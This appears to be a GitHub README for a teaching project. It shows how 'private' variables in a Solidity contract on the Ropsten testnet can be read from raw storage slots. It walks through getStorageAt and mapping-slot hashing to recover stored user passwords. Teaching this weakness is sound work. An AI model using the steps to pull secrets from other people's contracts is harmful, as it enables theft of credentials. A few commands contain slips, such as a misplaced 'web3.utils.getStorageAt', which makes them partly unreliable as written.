/Private-Variable-Exploit-

Access Private Variables in Blockchain

Primary LanguageJavaScriptMIT LicenseMIT

Storage smart contract

Illustration of how you can access values of private variables instead of them being private

  • Project needs to be deployed on Ropsten testnet guide

This project is Deployed @ : 0x2a6f12F36e59453202af66C84cfda52e0826A451 on Ropsten public testnet for testing purpose.

Terminal commands & Changes in Project :

  • Locate truffle-config.js file in the project and give a 1min read, you shall find private key and infura api key words mentioned.
    • Reason being you have to mention your API keys in the .env file.
  • npx truffle console --network ropsten

Step by Step terminal commands to retreive Information from Blockchain

  1. addr = "0x2a6f12F36e59453202af66C84cfda52e0826A451"

  2. web3.eth.getStorageAt(addr,0,console.log)

    Result ( in our case ) :

null 0x0000000000000000000000000000000000000000000000000000000000000064
'0x0000000000000000000000000000000000000000000000000000000000000064'
  1. parseInt("0x64", 10)
  2. parseInt("0x64", 16)
  3. web3.eth.getStorageAt(addr,1,console.log)
  4. parseInt("0x1f",16)
  5. web3.eth.getStorageAt(addr,2,console.log)
  6. web3.utils.toAscii("0x7077640000000000000000000000000000000000000000000000000000000006")

Result

'pwd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06'

Got the Private variable value, our password which we passed during deploy in 1_deploy_storage.js { Value in our case : pwd }

For checking value at slot 6, first you have to call function addUser() and pass in the bytes32 password.

For inputing a value which is bytes32, you may need to : i) Convert your string to hexadecimal ii) Add as many zeros to make it a hexadecimal of length 64.

In our case, we used stringtohexconvertor and added 0's at the start. guide

Our input was : 0x00000000000000000000000000000000000000000000000000006e6577707764 which equivalent to 'newpwd' in string. 0x is mandatory

Now move to Ropsten testnet and at your deployed contract address and call function addUser.

Once it's done, you have a value at slot 6. To get the value stored at slot 6,

  1. web3.eth.getStorageAt(addr,6,console.log)

To get password of first user which you added by calling addUser() function in Ropsten,

  1. web3.utils.soliditySha3({ type:"uint", value:6}) ( Since value is stored at the hash of 6th slot, therefor using soliditySha3() and '6' as the value ) Our case : 0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f
  2. hash = '0xabcd' ( Set the value of 10th point as the hash )
  3. web3.eth.getStorageAt(addr, hash, console.log)

This shows null but as we add 1 to the hash, we reach to password storage which in our case is 0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d40 and follow the same command :

  1. hash = '0xabcd'
  2. web3.utils.getStorageAt(addr,hash,console.log)
  3. Convert the result received by 14th point to Ascii value by web.utils.toAscii("0xabcd").

There is your password of user you added, in our case it's shows \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00newpwd'

Now time to check mapping.

Let's add another user following the same steps from line.no 41 to 49.

Now we have 2 users. Let's get the hash of slot 7 but because it's mapping so we need hash of (key,slot), so here we have to specify the key also.

  1. web3.utils.soliditySha3({ type :"uint", value:"1"},{ type:"uint",value:7})
  2. hash = '0xabcd' ( replace 0xabcd with the value received from 16th point line no.77 )
  3. web3.eth.getStorageAt(addr,hash,console.log) ( you may get 0x0000000000000000000000000000000000000000000000000000000000000001 if you have 2 users and followed same process as ours. )

Now let's get the password for second user we added during line 73.

Same process, we need to add 1 to hash which gives us 0xb39221ace053465ec3453ce2b36430bd138b997ecea25c1043da0c366812b829 19. hash = 0xabcd 20. web3.eth.getStorageAt(addr,hash,console.log)

Result in our case : 0x000000000000000000000000000000000000000000000000000074776f707764

To convert to string : 21. `web3.utils.toAscii("0x000000000000000000000000000000000000000000000000000074776f707764")

Gives us : '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00twopwd' ( There's our second user password! ) and this is how we access private storage variables. ( Mapping and password both were having private visibility. )

You may wonder how to add 1 to Hexadical number ( Here is a simple guide ) :

Hexadecimal number count is as follows : 
0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F 
After F, it goes :
10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F
After 1F it goes : 
20,21,22,23,24,25,26,27,28,29,2A,2B,2C,2D,2E,2F
After 2F it goes : 
30,31,32,33,34,35,36,37,38,39,3A,3B,3C,3D,3E,3F and so on...

Hope you get the pattern.

Now you shall try to add 1 to 0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f as we did in line 62. Check from last, it's f which is last digic of hex so it becomes 0 and digit before it increases by 1 so 3 becomes 4 and we get 0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d40

Simple right!